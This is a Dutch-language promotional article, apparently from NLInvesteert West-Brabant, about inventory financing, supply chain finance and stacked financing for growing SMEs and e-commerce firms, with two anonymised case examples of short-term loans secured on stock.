Voorraad is vaak het fundament van je onderneming. Maar voorraad opbouwen heeft grote impact op je cashflow. Zeker als je groeit, grotere volumes wilt inkopen of te maken hebt met seizoenspieken. Bedrijven die veel voorraad aanhouden, lopen dan ook regelmatig tegen hun financieringsgrenzen aan. Gelukkig zijn er slimme oplossingen waarmee je voorraad juist kunt inzetten als groeiversneller. Hieronder lees je hoe het werkt, met praktijkvoorbeelden van bedrijven die op een slimme manier hun voorraad financieren.    De aanhoudende groei van het aantal e-commercebedrijven speelt een belangrijke rol bij de toename van voorraadfinanciering. Steeds meer ondernemers bouwen grotere en snellere voorraadposities op om aan de vraag te voldoen. Dit vraagt om meer flexibiliteit en betere afstemming van financieringsoplossingen. Waar voorheen vooral grotere bedrijven toegang hadden tot voorraadfinanciering en supply chain finance, zien we dat deze vormen van financiering nadrukkelijker in beeld komen voor het mkb.   Motieven Als ondernemer herken je waarschijnlijk de volgende motieven bij het uitbreiden van handelsvoorraad:   Voorbereiding op seizoenspieken Ondernemers leggen extra voorraad aan in aanloop naar een piekseizoen (zoals feestdagen of zomerperiode), om tijdig en in voldoende mate aan de stijgende klantvraag te kunnen voldoen. Bulkinkoop voor kostenvoordeel Door grotere volumes in te kopen kunnen leverancierskortingen worden benut, wat leidt tot lagere inkoopprijzen en verbeterde marges. Verkorten van levertijden Het op voorraad hebben van populaire producten stelt bedrijven in staat om sneller te leveren, wat de klanttevredenheid en concurrentiepositie versterkt. Assortimentsuitbreiding Het toevoegen van nieuwe producten of varianten aan het bestaande aanbod vergroot de aantrekkingskracht van het bedrijf en opent de deur naar nieuwe klantgroepen of markten.   Juist voor deze situaties is groeifinanciering op voorraad ideaal. Je investeert op het juiste moment in je voorraad, zonder dat je direct je liquiditeit of bestaande kredietruimte onder druk zet. Ingekochte goederen komen bij groei in grotere volumes binnen, terwijl uitlevering vaak pas later plaatsvindt. Dat betekent: eerst opslag, dan facturatie met betalingstermijn. Ondertussen willen handelscrediteuren wél direct betaald worden. Zij wachten niet op je debiteurenontvangsten. Dit leidt vaak tot een tijdelijk liquiditeitstekort. Veel ondernemers lossen dit op met eigen middelen of laten de holding bijspringen. Soms wordt zelfs een tijdelijke lening van de directeur-grootaandeelhouder aangetrokken. Dat is echter niet wenselijk of structureel houdbaar.   Het goede nieuws voor deze ondernemers: een betaalde, courante voorraad leent zich uitstekend voor externe financiering. Banken bieden hier vaak een rekening-courantfaciliteit voor, maar die sluit lang niet altijd aan bij de groeibehoefte – bijvoorbeeld doordat periodieke afbouw van de limiet wordt verlangd. Voor bedrijven in de groeifase is een oplossing nodig die met je meebeweegt. Laat je inspireren door onderstaande praktijkvoorbeelden. Voorbeelden uit de praktijk Praktijkcase 1: Voorraadintensieve retailonderneming Een voorraadintensieve retailonderneming groeide hard en had behoefte aan extra inkoopkracht. De onderneming verkoopt met name verwarmde en verkoelende artikelen zoals handschoenen, zolen, sokken en kleding. Seizoensgebonden inkoop- en omzet dus. Via NLInvesteert kreeg het bedrijf een lening van € 1.840.000 op basis van een tweede pandrecht op de voorraad en een looptijd van 12 maanden.    Deze oplossing liet zien dat er ook bij bestaande zekerheden nog ruimte was voor aanvullende financiering en dat er maatwerk toegepast worden.    De lening was zo ingericht dat de onderneming na aflossing opnieuw een ronde voorraadfinanciering kan inzetten. De betreffende lening was alweer de derde voorraadfinanciering die de onderneming via NLInvesteert verkreeg. Hierdoor ontstaat een flexibel, herhaalbaar groeimodel dat perfect aansluit bij seizoenspatronen en de voorraadcyclus.   Praktijkcase 2: Snelgroeiende onderneming in de tuin- en outdoorbranche Een snelgroeiende e-commerce onderneming in de tuin- en outdoorbranche. Het bedrijf heeft elk voorjaar te maken met sterke pieken in de vraag. Om daarop te kunnen inspelen, zet deze e-commerce voorraadfinanciering via NLInvesteert in om vroegtijdig voorraad op te bouwen. Er werd een financiering groot € 2.750.000 verschaft met een looptijd van 9 maanden.    Met deze financiering  kunnen zij groot inkopen in het laagseizoen en op het juiste moment uitleveren, zonder dat de cashflow in de knel komt. Ook hier geldt: de financiering is kortlopend en inzetbaar per cyclus, wat flexibiliteit en schaalbaarheid biedt.   Supply Chain Finance Supply chain finance is een moderne vorm van ketenfinanciering waarbij een externe financier je leveranciers direct betaalt. Jij als ondernemer betaalt later terug. Hierdoor behoud je je relatie met leveranciers en profiteer je van betalingskorting, zonder je eigen kaspositie te belasten. Deze vorm van financiering wordt vaak in combinatie gebruikt met factoring in ieder geval voor het deel wat nodig is om de inkoopfinanciering terug te brengen.    Stapelfinanciering Voorraadfinanciering laat zich uitstekend combineren met andere vormen van financiering, zoals: Factoring (voorschot op je openstaande facturen) Crowdfunding (kapitaal via investeerders) Seizoenskrediet (tijdelijke faciliteit voor voorraadopbouw) Zo ontstaat er een ‘stapelconstructie’ waarbij je verschillende onderdelen van je werkkapitaalcyclus tegelijk optimaliseert. Wel is het zaak de voorwaarden van iedere financier goed op elkaar af te stemmen en conflicten ten aanzien van zekerheden en aflossingscondities te voorkomen. Een financieringsadviseur kan je hierbij begeleiden.  Wat levert het op? Meer inkoopkracht op het juiste moment Grotere leverbetrouwbaarheid Minder druk op je liquiditeit Lagere afhankelijkheid van banken Een schaalbaar financieringsmodel dat meegroeit met je bedrijf Conclusie Voorraad hoeft geen blokkade te zijn voor groei. Met slimme financieringsoplossingen kun je je voorraadpositie juist strategisch inzetten om in te spelen op kansen in de markt.   Wil je weten wat er voor jouw bedrijf mogelijk is? Laat dan een onafhankelijke werkkapitaalscan uitvoeren. Zo ontdek je hoeveel ruimte er in jouw voorraad zit.    NLInvesteert West-Brabant Bedrijfsfinanciering West-Brabant | NLInvesteert   ...